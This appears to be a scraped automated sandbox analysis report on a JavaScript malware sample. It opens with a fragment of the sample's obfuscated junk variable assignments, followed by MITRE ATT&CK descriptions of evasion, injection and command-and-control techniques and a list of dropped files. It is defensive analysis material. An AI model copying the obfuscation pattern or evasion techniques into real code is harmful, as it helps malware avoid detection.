406	ssbgllmju = "I";
407	ssbgllmju = "/";
408	fshtsjcpc = "j";
409	fshtsjcpc = "k";
410	fshtsjcpc = "L";
411	fshtsjcpc = "r";
412	fshtsjcpc = "H";
413	fshtsjcpc = "a";
414	wbdlrha = "a";
415	wbdlrha = "a";
416	wbdlrha = "M";
417	wbdlrha = "H";
418	wbdlrha = "i";
419	wbdlrha = "V";
420	wbdlrha = "Q";
421	wbdlrha = "o";
422	wbdlrha = "D";
423	wbdlrha = "f";
424	mqfzhbipx = "j";
425	mqfzhbipx = "N";
426	mqfzhbipx = "H";
427	mqfzhbipx = "D";
428	mqfzhbipx = "j";
429	mqfzhbipx = "b";
430	mqfzhbipx = "I";
431	mqfzhbipx = "l";
432	mqfzhbipx = "4";
433	bxhsylh = "h";
434	bxhsylh = "F";
435	bxhsylh = "F";
436	bxhsylh = "w";
437	bxhsylh = "p";
438	bxhsylh = "-";
439	uvjsdlkq = "l";
440	uvjsdlkq = "N";
441	uvjsdlkq = "B";
442	uvjsdlkq = "x";
443	uvjsdlkq = "o";
444	uvjsdlkq = "s";
445	uvjsdlkq = "S";
446	uvjsdlkq = "k";
447	mtncgeoy = "u";
448	mtncgeoy = "N";
449	mtncgeoy = "H";
450	mtncgeoy = "I";
451	mtncgeoy = "A";
452	mtncgeoy = "Y";
453	mtncgeoy = " ";
454	tiulx = "e";
455	tiulx = "b";
456	tiulx = "O";
457	tiulx = "H";
458	tiulx = "J";
459	tiulx = "a";
460	tiulx = "o";
461	tiulx = "n";
462	tiulx = "E";
463	tiulx = "R";
464	writa = "b";
465	writa = "L";
466	writa = "n";
467	writa = "e";
468	writa = "s";
469	writa = "Y";
470	writa = "F";
471	writa = "b";
472	writa = "k";
473	writa = "_";
474	zmnvz = "J";
475	zmnvz = "w";
476	zmnvz = "l";
477	zmnvz = "x";
478	zmnvz = "T";
479	zmnvz = "g";
480	omlthjx = "s";
481	omlthjx = "z";
482	omlthjx = "s";
483	omlthjx = "D";
484	omlthjx = "E";
485	omlthjx = "Y";
486	omlthjx = "u";
487	omlthjx = "R";
488	omlthjx = "b";
489	omlthjx = "t";
490	akemqq ( );	akemqq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3041621112067010510.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\85bec50f-99fa-4842-b20a-f0f096ecc477.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5936

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
3041621112067010510.js